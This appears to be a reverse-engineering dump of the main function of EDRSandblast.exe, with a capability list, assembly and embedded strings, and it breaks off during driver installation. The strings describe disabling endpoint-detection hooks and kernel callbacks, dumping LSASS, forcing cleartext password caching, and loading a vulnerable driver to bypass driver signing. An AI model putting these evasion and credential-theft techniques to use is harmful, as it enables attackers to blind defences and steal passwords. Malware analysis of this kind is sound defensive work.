Function at 0x140001260
Capabilities:
Accept command line arguments
Check if file exists
Create process on windows
Create thread
Delete file
Disable driver code integrity
Get common file path
Get file attributes
Get system information on windows
Set registry value

Disassembly:
push rbp
push rbx
push rsi
push r13
lea rbp, [rsp - 0x6188]
mov eax, 0x6288
call fcn.140029ba0
sub rsp, rax
mov rax, qword [0x140054018]
xor rax, rsp
mov qword [rbp + 0x6170], rax
mov rbx, rdx
mov qword [rsp + 0x78], rdx
mov esi, ecx
lea rdx, str.Usage:_EDRSandblast.exe___h____help____v____verbose___audit__dump__cmd__credguard__firewall__load_unsigned_driver___n___usermode_____unhook_method__N______direct_syscalls_____add_dll__dll_name_or_path____n___kernelmode_____dont_unload_driver_____no_restore___n_______nt_offsets__NtoskrnlOffsets.csv______fltmgr_offsets__FltmgrOffsets.csv______wdigest_offsets__WdigestOffsets.csv______ci_offsets__CiOffsets.csv______internet__n_______vuln_driver__RTCore64.sys______vuln_service__SERVICE_NAME____n_______unsigned_driver__evil.sys______unsigned_service__SERVICE_NAME____n_______no_kdp__n__o____dump_output__DUMP_FILE___n
lea rcx, [rbp + 0x2c70]
mov eax, 9
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x1400012b0
movups xmm0, xmmword [rdx]
mov eax, dword [rdx + 0x50]
mov r8d, 0x3012
movups xmm1, xmmword [rdx + 0x10]
mov qword [rsp + 0x62b0], rdi
movups xmmword [rcx], xmm0
mov qword [rsp + 0x62c0], r12
movups xmm0, xmmword [rdx + 0x20]
mov qword [rsp + 0x62c8], r14
movups xmmword [rcx + 0x10], xmm1
mov qword [rsp + 0x6280], r15
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmmword [rcx + 0x40], xmm0
mov dword [rcx + 0x50], eax
movzx eax, word [rdx + 0x54]
lea rdx, str._n_h____help_____________Show_this_help_message_and_exit._n_v____verbose__________Enable_a_more_verbose_output._n_nActions_mode:_n_n_taudit_____________________Display_the_user_land_hooks_and___or_Kernel_callbacks_without_taking_actions._n_tdump______________________Dump_the_process_specified_by___process_name__LSASS_process_by_default___as__process_name__in_the_current_directory_or_at_the_n_t__________________________specified_file_using__o____output__DUMP_FILE_._n_tcmd_______________________Open_a_cmd.exe_prompt._n_tcredguard_________________Patch_the_LSASS_process_memory_to_enable_Wdigest_cleartext_passwords_caching_even_if_n_t__________________________Credential_Guard_is_enabled_on_the_host._No_kernel_land_actions_required._n_tfirewall__________________Add_Windows_firewall_rules_to_block_network_access_for_the_EDR_processes___services._n_tload_unsigned_driver______Load_the_specified_unsigned_driver__bypassing_Driver_Signature_Enforcement__DSE_._n_t__________________________WARNING:_currently_an_experimental_feature__only_works_if_KDP_is_not_present_and_enabled._n_n__usermode______________Perform_user_land_operations__DLL_unhooking_._n__kernelmode____________Perform_kernel_land_operations__Kernel_callbacks_removal_and_ETW_TI_disabling_._n_n_nHooking_related_options:_n_n__add_dll__dll_name_or_path_____________Loads_arbitrary_libraries_into_the_process_address_space__before_starting_n________________________________________anything.This_can_be_useful_to_audit_userland_hooking_for_DLL_that_are_not_n________________________________________loaded_by_default_by_this_program._Use_this_option_multiple_times_to_load_n________________________________________multiple_DLLs_all_at_once._n________________________________________Example_of_interesting_DLLs_to_look_at:_user32.dll__ole32.dll__crypt32.dll___n________________________________________samcli.dll__winhttp.dll__urlmon.dll__secur32.dll__shell32.dll..._n_n__unhook_method__N______________________Choose_the_userland_un_hooking_technique__from_the_following:__n_n_t0_______________________________Do_not_perform_any_unhooking__used_for_direct_syscalls_operations_._n_t1__Default______________________Uses_the__probably_monitored__NtProtectVirtualMemory_function_in_ntdll_to_remove_all_n_t________________________________present_userland_hooks._n_t2_______________________________Constructs_a_unhooked__i.e._unmonitored__version_of_NtProtectVirtualMemory__by_n_t________________________________allocating_an_executable_trampoline_jumping_over_the_hook__and_remove_all_present_n_t________________________________userland_hooks._n_t3_______________________________Searches_for_an_existing_trampoline_allocated_by_the_EDR_itself__to_get_an_unhooked_n_t_________________________________i.e._unmonitored__version_of_NtProtectVirtualMemory__and_remove_all_present_userland_n_t________________________________hooks._n_t4_______________________________Loads_an_additional_version_of_ntdll_library_into_memory__and_use_the__hopefully_n_t________________________________unmonitored__version_of_NtProtectVirtualMemory_present_in_this_library_to_remove_all_n_t________________________________present_userland_hooks._n_t5_______________________________Allocates_a_shellcode_that_uses_a_direct_syscall_to_call_NtProtectVirtualMemory__n_t________________________________and_uses_it_to_remove_all_detected_hooks_n_n__direct_syscalls_______Use_direct_syscalls_to_dump_the_selected_process_memory_without_unhooking_unserland_hooks._n_n_nBYOVD_options:_n_n__dont_unload_driver____________________Keep_the_vulnerable_driver_installed_on_the_host_n________________________________________Default_to_automatically_unsinstall_the_driver._n__no_restore____________________________Do_not_restore_the_EDR_drivers_Kernel_Callbacks_that_were_removed._n________________________________________Default_to_restore_the_callbacks._n__vuln_driver__gdrv.sys__t_tPath_to_the_vulnerable_driver_file._n________________________________________Default_to_gdrv.sys_in_the_current_directory._n__vuln_service__SERVICE_NAME____________Name_of_the_vuln
mov word [rcx + 0x54], ax
lea rcx, [rbp + 0x3150]
call fcn.14000fed0
xor edx, edx
lea rcx, [rbp + 0x80]
mov r8d, 0x208
call fcn.14000f000
lea rdx, [rbp + 0x80]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov r13d, 1
cmp esi, 2
jl 0x140003773
xor edx, edx
lea rcx, [rbp + 0x4a0]
mov r8d, 0x208
lea r14d, [r13 + 5]
call fcn.14000f000
xor edx, edx
lea rcx, [rbp + 0x8c0]
mov r8d, 0x208
call fcn.14000f000
movups xmm0, xmmword [str.gdrv.sys]
movzx eax, word [0x140037470]
lea rcx, [rbp + 0x6b0]
mov word [rbp + 0x58], ax
xor edx, edx
movzx eax, word [0x140037488]
mov r8d, 0x208
movups xmmword [rbp + 0x48], xmm0
mov word [rbp + 0x70], ax
movups xmm0, xmmword [str.evil.sys]
mov dword [rbp - 0x78], r13d
movups xmmword [rbp + 0x60], xmm0
call fcn.14000f000
xor edx, edx
lea rcx, [rbp + 0xad0]
mov r8d, 0x208
call fcn.14000f000
xor edx, edx
lea rcx, [rbp + 0x12f0]
mov r8d, 0x208
call fcn.14000f000
xor edx, edx
lea rcx, [rbp + 0x10e0]
mov r8d, 0x208
call fcn.14000f000
lea r8, str.lsass.exe
mov edx, 0x104
lea rcx, [rbp + 0x1500]
call fcn.140018848
xor edx, edx
lea rcx, [rbp + 0x290]
mov r8d, 0x208
call fcn.14000f000
xor ecx, ecx
mov dword [rsp + 0x6c], r13d
mov dword [rsp + 0x50], ecx
lea r15, [r13 - 2]
mov dword [rbp - 0x60], ecx
mov r12d, ecx
mov dword [rsp + 0x58], ecx
mov edi, r13d
mov dword [rbp - 0x68], ecx
mov dword [rsp + 0x54], ecx
mov dword [rbp - 0x80], ecx
mov qword [rsp + 0x70], rcx
mov dword [rsp + 0x5c], ecx
mov dword [rbp - 0x58], ecx
mov dword [rsp + 0x60], ecx
mov dword [rsp + 0x64], ecx
mov dword [rbp - 0x70], r13d
mov dword [rsp + 0x68], r13d
movsxd rax, edi
lea rdx, str.dump
mov rcx, qword [rbx + rax*8]
lea rbx, [rbx + rax*8]
call fcn.1400123cc
test eax, eax
jne 0x1400014e3
xor r14d, r14d
jmp 0x140001aa3
mov rcx, qword [rbx]
lea rdx, [0x1400374b8]
call fcn.1400123cc
test eax, eax
jne 0x1400014fe
mov r14d, r13d
jmp 0x140001aa3
mov rcx, qword [rbx]
lea rdx, str.credguard
call fcn.1400123cc
test eax, eax
jne 0x14000151a
lea r14d, [rax + 2]
jmp 0x140001aa3
mov rcx, qword [rbx]
lea rdx, str.audit
call fcn.1400123cc
test eax, eax
jne 0x140001536
lea r14d, [rax + 3]
jmp 0x140001aa3
mov rcx, qword [rbx]
lea rdx, str.firewall
call fcn.1400123cc
test eax, eax
jne 0x140001552
lea r14d, [rax + 4]
jmp 0x140001aa3
mov rcx, qword [rbx]
lea rdx, str.load_unsigned_driver
call fcn.1400123cc
test eax, eax
jne 0x14000156e
lea r14d, [rax + 5]
jmp 0x140001aa3
mov rcx, qword [rbx]
lea rdx, [0x14003752c]
call fcn.1400123cc
test eax, eax
je 0x140003757
mov rcx, qword [rbx]
lea rdx, str.__help
call fcn.1400123cc
test eax, eax
je 0x140003757
mov rcx, qword [rbx]
lea rdx, [0x140037548]
call fcn.1400123cc
test eax, eax
je 0x140001a9e
mov rcx, qword [rbx]
lea rdx, str.__verbose
call fcn.1400123cc
test eax, eax
je 0x140001a9e
mov rcx, qword [rbx]
lea rdx, str.__usermode
call fcn.1400123cc
test eax, eax
jne 0x1400015e6
mov dword [rbp - 0x60], r13d
jmp 0x140001aa3
mov rcx, qword [rbx]
lea rdx, str.__kernelmode
call fcn.1400123cc
test eax, eax
jne 0x140001603
mov dword [rsp + 0x54], r13d
jmp 0x140001aa3
mov rcx, qword [rbx]
lea rdx, str.__dont_unload_driver
call fcn.1400123cc
test eax, eax
jne 0x140001620
mov dword [rsp + 0x6c], r12d
jmp 0x140001aa3
mov rcx, qword [rbx]
lea rdx, str.__no_restore
call fcn.1400123cc
test eax, eax
jne 0x14000163c
mov dword [rbp - 0x70], r12d
jmp 0x140001aa3
mov rcx, qword [rbx]
lea rdx, str.__vuln_driver
call fcn.1400123cc
test eax, eax
je 0x140001a68
mov rcx, qword [rbx]
lea rdx, str.__driver
call fcn.1400123cc
test eax, eax
je 0x140001a68
mov rcx, qword [rbx]
lea rdx, str.__unsigned_driver
call fcn.1400123cc
test eax, eax
jne 0x1400016b6
inc edi
cmp edi, esi
jg 0x140003773
mov rbx, qword [rsp + 0x78]
mov r9, r15
movsxd rax, edi
mov r8, qword [rbx + rax*8]
inc r9
cmp word [r8 + r9*2], r12w
jne 0x140001696
mov edx, 0x104
lea rcx, [rbp + 0x8c0]
call fcn.140018ce4
jmp 0x140001aa8
mov rcx, qword [rbx]
lea rdx, str.__vuln_service
call fcn.1400123cc
test eax, eax
je 0x140001a2d
mov rcx, qword [rbx]
lea rdx, str.__service
call fcn.1400123cc
test eax, eax
je 0x140001a2d
mov rcx, qword [rbx]
lea rdx, str.__unsigned_service
call fcn.1400123cc
test eax, eax
jne 0x140001747
inc edi
cmp edi, esi
jg 0x140003773
mov rcx, qword [rsp + 0x78]
movsxd rax, edi
mov rbx, qword [rcx + rax*8]
mov rcx, qword [0x1400586e8]
test rcx, rcx
je 0x14000171e
call fcn.140018ae4
mov rcx, rbx
call fcn.140012548
mov qword [0x1400586e8], rax
test rax, rax
jne 0x140001aa3
lea rcx, str.____Error_while_attempting_to_set_the_service_name.
call fcn.140018be0
jmp 0x140001aa3
mov rcx, qword [rbx]
lea rdx, str.__no_kdp
call fcn.1400123cc
test eax, eax
jne 0x140001763
mov dword [rbp - 0x78], r12d
jmp 0x140001aa3
mov rcx, qword [rbx]
lea rdx, str.__nt_offsets
call fcn.1400123cc
test eax, eax
jne 0x1400017b0
inc edi
cmp edi, esi
jg 0x140003773
mov rbx, qword [rsp + 0x78]
mov r9, r15
movsxd rax, edi
mov r8, qword [rbx + rax*8]
nop
inc r9
cmp word [r8 + r9*2], r12w
jne 0x140001790
mov edx, 0x104
lea rcx, [rbp + 0x6b0]
call fcn.140018ce4
jmp 0x140001aa8
mov rcx, qword [rbx]
lea rdx, str.__fltmgr_offsets
call fcn.1400123cc
test eax, eax
jne 0x140001800
inc edi
cmp edi, esi
jg 0x140003773
mov rbx, qword [rsp + 0x78]
mov r9, r15
movsxd rax, edi
mov r8, qword [rbx + rax*8]
nop dword [rax]
inc r9
cmp word [r8 + r9*2], r12w
jne 0x1400017e0
mov edx, 0x104
lea rcx, [rbp + 0x10e0]
call fcn.140018ce4
jmp 0x140001aa8
mov rcx, qword [rbx]
lea rdx, str.__wdigest_offsets
call fcn.1400123cc
test eax, eax
jne 0x140001850
inc edi
cmp edi, esi
jg 0x140003773
mov rbx, qword [rsp + 0x78]
mov r9, r15
movsxd rax, edi
mov r8, qword [rbx + rax*8]
nop dword [rax]
inc r9
cmp word [r8 + r9*2], r12w
jne 0x140001830
mov edx, 0x104
lea rcx, [rbp + 0xad0]
call fcn.140018ce4
jmp 0x140001aa8
mov rcx, qword [rbx]
lea rdx, str.__ci_offsets
call fcn.1400123cc
test eax, eax
jne 0x1400018a0
inc edi
cmp edi, esi
jg 0x140003773
mov rbx, qword [rsp + 0x78]
mov r9, r15
movsxd rax, edi
mov r8, qword [rbx + rax*8]
nop dword [rax]
inc r9
cmp word [r8 + r9*2], r12w
jne 0x140001880
mov edx, 0x104
lea rcx, [rbp + 0x12f0]
call fcn.140018ce4
jmp 0x140001aa8
mov rcx, qword [rbx]
lea rdx, [0x140037754]
call fcn.1400123cc
test eax, eax
je 0x1400019f2
mov rcx, qword [rbx]
lea rdx, str.__dump_output
call fcn.1400123cc
test eax, eax
je 0x1400019f2
mov rcx, qword [rbx]
lea rdx, str.__process_name
call fcn.1400123cc
test eax, eax
jne 0x140001920
inc edi
cmp edi, esi
jg 0x140003773
mov rbx, qword [rsp + 0x78]
mov r9, r15
movsxd rax, edi
mov r8, qword [rbx + rax*8]
nop word [rax + rax]
inc r9
cmp word [r8 + r9*2], r12w
jne 0x140001900
mov edx, 0x104
lea rcx, [rbp + 0x1500]
call fcn.140018ce4
jmp 0x140001aa8
mov rcx, qword [rbx]
lea rdx, str.__unhook_method
call fcn.1400123cc
test eax, eax
jne 0x140001957
inc edi
cmp edi, esi
jg 0x140003773
mov rbx, qword [rsp + 0x78]
movsxd rcx, edi
mov rcx, qword [rbx + rcx*8]
call fcn.140013618
mov dword [rsp + 0x68], eax
jmp 0x140001aa8
mov rcx, qword [rbx]
lea rdx, str.__direct_syscalls
call fcn.1400123cc
test eax, eax
jne 0x140001973
mov dword [rbp - 0x68], r13d
jmp 0x140001aa3
mov rcx, qword [rbx]
lea rdx, str.__add_dll
call fcn.1400123cc
test eax, eax
jne 0x1400019be
inc edi
cmp edi, esi
jg 0x140003773
mov rcx, qword [rsp + 0x78]
movsxd rax, edi
lea rbx, [rcx + rax*8]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp rax, r15
jne 0x140001aa3
mov rdx, qword [rbx]
lea rcx, str.Library__s_could_not_have_been_loaded__exiting..._n
jmp 0x140003781
mov rcx, qword [rbx]
lea rdx, [0x140037868]
call fcn.1400123cc
test eax, eax
je 0x1400019e8
mov rcx, qword [rbx]
lea rdx, str.__internet
call fcn.1400123cc
test eax, eax
jne 0x140003773
mov dword [rsp + 0x58], r13d
jmp 0x140001aa3
inc edi
cmp edi, esi
jg 0x140003773
mov rbx, qword [rsp + 0x78]
mov r9, r15
movsxd rax, edi
mov r8, qword [rbx + rax*8]
nop dword [rax + rax]
inc r9
cmp word [r8 + r9*2], r12w
jne 0x140001a10
mov edx, 0x104
lea rcx, [rbp + 0x290]
call fcn.140018ce4
jmp 0x140001aa8
inc edi
cmp edi, esi
jg 0x140003773
mov rcx, qword [rsp + 0x78]
movsxd rax, edi
mov rbx, qword [rcx + rax*8]
mov rcx, qword [0x1400586e0]
test rcx, rcx
je 0x140001a54
call fcn.140018ae4
mov rcx, rbx
call fcn.140012548
mov qword [0x1400586e0], rax
jmp 0x14000172d
inc edi
cmp edi, esi
jg 0x140003773
mov rbx, qword [rsp + 0x78]
mov r9, r15
movsxd rax, edi
mov r8, qword [rbx + rax*8]
inc r9
cmp word [r8 + r9*2], r12w
jne 0x140001a81
mov edx, 0x104
lea rcx, [rbp + 0x4a0]
call fcn.140018ce4
jmp 0x140001aa8
mov dword [rsp + 0x50], r13d
mov rbx, qword [rsp + 0x78]
inc edi
cmp edi, esi
jl 0x1400014c0
call fcn.1400010d0
test eax, eax
je 0x140001ac5
mov dword [rsp + 0x6c], r12d
jmp 0x140001c96
lea rax, [rbp + 0x1710]
mov edx, 6
lea rcx, str._______________________________________________________________________r_n__________________________________________________________r_n________________________________________________________r_n_____________________________________________________r_n_______________________________________________r_n____________________________________._______________n
nop dword [rax + rax]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, r13
jne 0x140001ae0
movups xmm0, xmmword [rcx]
mov r8d, 0x1d2
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
lea rcx, [rbp + 0xd0e]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [str.D3FC0N_30_Edition]
movups xmmword [rax + 0x50], xmm1
mov eax, dword [0x140033e90]
movups xmm1, xmmword [0x140033e80]
mov dword [rbp + 0x40], eax
mov eax, dword [0x140033ec0]
movups xmmword [rbp + 0x20], xmm0
mov dword [rbp + 0xd08], eax
movups xmm0, xmmword [str.Thomas_DIOT____Qazeer_]
movzx eax, word [0x140033ec4]
movups xmmword [rbp + 0x30], xmm1
mov word [rbp + 0xd0c], ax
movups xmm1, xmmword [0x140033ea8]
movaps xmmword [rbp + 0xce0], xmm0
movsd xmm0, qword [0x140033eb8]
movsd qword [rbp + 0xd00], xmm0
movaps xmmword [rbp + 0xcf0], xmm1
call fcn.14000f000
movups xmm0, xmmword [str.Maxime_MEIGNAN___th3m4ks_]
mov eax, dword [0x140033ef8]
xor edx, edx
movups xmm1, xmmword [0x140033ed8]
lea rcx, [rbp + 0xf14]
mov r8d, 0x1cc
movaps xmmword [rbp + 0xee0], xmm0
movups xmm0, xmmword [0x140033ee8]
mov dword [rbp + 0xf10], eax
movaps xmmword [rbp + 0xef0], xmm1
movaps xmmword [rbp + 0xf00], xmm0
call fcn.14000f000
xor ecx, ecx
call fcn.140018a70
mov rcx, rax
call fcn.140012130
call fcn.140012104
mov ebx, eax
and ebx, 0x80000001
jge 0x140001c46
dec ebx
or ebx, 0xfffffffe
inc ebx
lea rcx, [rbp + 0x1710]
call fcn.140018be0
lea ecx, [rbx + 1]
and ecx, 0x80000001
jge 0x140001c64
dec ecx
or ecx, 0xfffffffe
inc ecx
movsxd rax, ecx
lea r9, [rbp + 0xce0]
shl rax, 9
lea r8, [rbp + 0xce0]
add r9, rax
lea rdx, [rbp + 0x20]
movsxd rax, ebx
lea rcx, str.___s___s___s_n_n
shl rax, 9
add r8, rax
call fcn.140001010
cmp r14d, 6
jne 0x140001cad
lea rcx, str.____You_did_not_provide_an_action_to_perform:_audit__dump__credguard_or_cmd
call fcn.140018be0
jmp 0x140003786
mov edi, dword [rsp + 0x54]
cmp r14d, r13d
jne 0x140001ccb
test edi, edi
jne 0x140001ccb
lea rcx, str.cmd_mode_needs_kernel_land_unhooking_to_work__please_enable___kernelmode
call fcn.140018be0
jmp 0x140003786
mov ebx, dword [rbp - 0x60]
test ebx, ebx
jne 0x140001cf3
test edi, edi
jne 0x140001ce7
lea rcx, str.____You_did_not_provide_at_least_one_option_between___usermode_and___kernelmode._Enabling___usermode_by_default..._n
call fcn.140018be0
mov ebx, r13d
jmp 0x140001cf3
lea rcx, str.____If_kernel_mode_bypass_is_enabled__it_is_recommended_to_enable_usermode_bypass_as_well__e.g._to_unhook_the_NtLoadDriver_API_call__n
call fcn.140018be0
cmp r14d, 2
jne 0x14000203f
test edi, edi
jne 0x140001d0d
lea rcx, str.____Credential_Guard_bypass_might_fail_if_RunAsPPL_is_enabled._Enable___kernelmode_to_bypass_PPL_n
call fcn.140018be0
mov esi, r13d
mov edi, r13d
test ebx, ebx
je 0x140001db2
lea rcx, str.__USER_MODE___n
call fcn.140018be0
lea rcx, str.___Detecting_userland_hooks_in_all_loaded_DLLs...
call fcn.140018be0
call fcn.140006b30
lea rcx, [0x140037ec8]
mov rbx, rax
call fcn.140018be0
cmp r14d, 3
je 0x140001da6
cmp dword [rsp + 0x68], r12d
je 0x140001da6
cmp qword [rbx], r12
je 0x140001da6
lea rcx, str.____Hooks__tRemoving_detected_userland_hooks...
call fcn.140018be0
cmp qword [rbx], r12
je 0x140001da6
mov r12d, dword [rsp + 0x68]
nop
mov rdx, qword [rbx + 0x10]
lea rcx, str.____Hooks__tUnhooking__s_using_method__ld..._n
mov r8d, r12d
call fcn.140001070
mov edx, r12d
mov rcx, rbx
call fcn.140006370
xor ecx, ecx
test eax, eax
cmovne ecx, esi
add rbx, 0x20
mov esi, ecx
cmp qword [rbx], 0
jne 0x140001d70
mov r12, qword [rsp + 0x70]
lea rcx, [0x140037ec8]
call fcn.140018be0
cmp dword [rsp + 0x54], 0
je 0x140002598
lea rcx, str.__KERNEL_MODE___n
call fcn.140018be0
lea rcx, [rbp + 0x4a0]
mov rax, r15
inc rax
cmp word [rcx + rax*2], 0
jne 0x140001dd3
test rax, rax
jne 0x140001e07
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x4a0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x4a0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rbp + 0x4a0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140002585
test al, 0x10
jne 0x140002585
lea rcx, [rbp + 0x6b0]
mov rax, r15
nop
inc rax
cmp word [rcx + rax*2], 0
jne 0x140001e30
test rax, rax
jne 0x140001e87
movups xmm0, xmmword [str.NtoskrnlOffsets.csv]
lea rdx, [rbp + 0x80]
movups xmm1, xmmword [0x140038020]
lea rcx, [rbp + 0x6b0]
movups xmmword [rbp + 0x20], xmm0
movsd xmm0, qword [0x140038030]
movsd qword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x30], xmm1
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x6b0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, str.___Loading_required_offsets_for_ntoskrnl.exe...
call fcn.140018be0
lea rcx, [rbp + 0x6b0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140001f09
test al, 0x10
jne 0x140001f09
lea rcx, str.___Loading_kernel_related_offsets_from_the_CSV_file
call fcn.140018be0
lea rcx, [rbp + 0x6b0]
call fcn.140007cb0
cmp qword [0x1400566b0], 0
je 0x140001efd
cmp qword [0x1400566b8], 0
je 0x140001efd
cmp qword [0x1400566c0], 0
je 0x140001efd
cmp qword [0x1400566e8], 0
je 0x140001efd
cmp qword [0x1400566f0], 0
je 0x140001efd
cmp qword [0x1400566f8], 0
jne 0x140001f09
lea rcx, str.____Offsets_are_missing_from_the_CSV_for_the_version_of_ntoskrnl_in_use.
call fcn.140018be0
mov ebx, dword [rsp + 0x58]
lea rdi, [0x1400566b0]
test ebx, ebx
je 0x1400020ea
cmp qword [0x1400566b0], 0
je 0x140001f5c
cmp qword [0x1400566b8], 0
je 0x140001f5c
cmp qword [0x1400566c0], 0
je 0x140001f5c
cmp qword [0x1400566e8], 0
je 0x140001f5c
cmp qword [0x1400566f0], 0
je 0x140001f5c
cmp qword [0x1400566f8], 0
jne 0x1400020ea
lea rcx, str.___Downloading_kernel_related_offsets_from_the_MS_Symbol_Server__will_drop_a_.pdb_file_in_current_directory_
call fcn.140018be0
call fcn.140007e80
cmp qword [0x1400566b0], 0
je 0x1400020de
cmp qword [0x1400566b8], 0
je 0x1400020de
cmp qword [0x1400566c0], 0
je 0x1400020de
cmp qword [0x1400566e8], 0
je 0x1400020de
cmp qword [0x1400566f0], 0
je 0x1400020de
cmp qword [0x1400566f8], 0
je 0x1400020de
lea rcx, str.___Downloading_offsets_succeeded__
call fcn.140018be0
lea rcx, [rbp + 0x6b0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400020ea
test al, 0x10
jne 0x1400020ea
lea rcx, str.___Saving_them_to_the_CSV_file...
call fcn.140018be0
call fcn.140008270
lea r8, [0x14003cbe0]
mov qword [rsp + 0x70], 0
lea rdx, [rbp + 0x6b0]
mov rbx, rax
lea rcx, [rsp + 0x70]
call fcn.140018ff8
mov rcx, qword [rsp + 0x70]
test rcx, rcx
jne 0x14000207b
lea rcx, str.____Offset_CSV_file_connot_be_opened
call fcn.140018be0
mov ebx, dword [rsp + 0x58]
jmp 0x1400020ea
test r14d, r14d
jne 0x140002058
test edi, edi
jne 0x140001d0d
lea rcx, str.____LSASS_dump_might_fail_if_RunAsPPL_is_enabled._Enable___kernelmode_to_bypass_PPL_n
jmp 0x140001d08
cmp r14d, 5
jne 0x140001d0d
test edi, edi
jne 0x140001d0d
lea rcx, str.load_unsigned_driver_mode_needs_kernel_land_DSE_disabling_operation_to_work__please_enable___kernelmode
call fcn.140018be0
jmp 0x140003786
mov r8, rbx
lea rdx, [0x140037454]
call fcn.1400046a0
mov rbx, rdi
lea r12, [0x140056708]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [rbx]
lea rdx, str.__llx
mov rcx, qword [rsp + 0x70]
call fcn.1400046a0
add rbx, 8
cmp rbx, r12
jl 0x1400020a0
mov rdx, qword [rsp + 0x70]
lea rcx, [0x140038738]
call fcn.140019390
mov rcx, qword [rsp + 0x70]
call fcn.140019174
mov ebx, dword [rsp + 0x58]
jmp 0x1400020ea
lea rcx, str.____Downloading_offsets_from_the_internet_failed__
call fcn.140018be0
cmp qword [0x1400566b0], 0
je 0x140002574
cmp qword [0x1400566b8], 0
je 0x140002574
cmp qword [0x1400566c0], 0
je 0x140002574
cmp qword [0x1400566e8], 0
je 0x140002574
cmp qword [0x1400566f0], 0
je 0x140002574
cmp qword [0x1400566f8], 0
je 0x140002574
cmp dword [rsp + 0x50], 0
je 0x14000218b
lea rcx, str.___Ntoskrnl_offsets:
call fcn.140001010
lea r12, [0x140056700]
nop dword [rax + rax]
mov rdx, qword [rdi]
lea rcx, str.__llx_
call fcn.140001010
add rdi, 8
cmp rdi, r12
jl 0x140002160
mov rdx, qword [0x140056700]
lea rcx, str._llx_n
call fcn.140001010
lea rcx, [rbp + 0x10e0]
mov rax, r15
inc rax
cmp word [rcx + rax*2], 0
jne 0x140002195
test rax, rax
jne 0x1400021cc
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x10e0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rdx, str.FltmgrOffsets.csv
lea rcx, [rbp + 0x10e0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
mov edx, ebx
lea rcx, [rbp + 0x10e0]
call fcn.140004750
test eax, eax
je 0x140003786
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x70], 0
lea rcx, [rbp + 0x4a0]
call fcn.140003be0
test eax, eax
je 0x140002243
lea rcx, str.___Vulnerable_driver_is_already_running__n
call fcn.140018be0
mov rcx, qword [0x1400586e0]
test rcx, rcx
je 0x14000221d
call fcn.140018ae4
mov rcx, qword [rsp + 0x70]
call fcn.140012548
mov qword [0x1400586e0], rax
test rax, rax
jne 0x1400023be
lea rcx, str.____Error_while_attempting_to_set_the_service_name.
jmp 0x1400023b9
lea rcx, str.___Installing_vulnerable_driver...
call fcn.140018be0
mov rbx, qword [0x1400586e0]
test rbx, rbx
je 0x14000226f
mov rax, r15
nop
inc rax
cmp word [rbx + rax*2], 0
jne 0x140002260
test rax, rax
jne 0x140002298
mov edx, 2
lea ecx, [rdx + 7]
call fcn.1400120fc
mov rbx, rax
test rax, rax
je 0x140002291
mov edx, 8
mov rcx, rax
call fcn.14000b3a0
mov qword [0x1400586e0], rbx
lea r8, [rbp + 0x4a0]
mov rdx, rbx
mov rcx, rbx
call fcn.14000ae10
cmp eax, 5
jne 0x1400022bd
lea rcx, str.____0x00000005___Access_Denied_when_attempting_to_install_the_driver___Did_you_run_as_administrator_
call fcn.140018be0
jmp 0x1400022c5
test eax, eax
je 0x1400023a7
lea rcx, str.____An_error_occurred_while_installing_the_vulnerable_driver
call fcn.140018be0
lea rcx, str.___Uninstalling_the_service_and_attempting_the_install_again...
call fcn.140018be0
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x140054ac0]
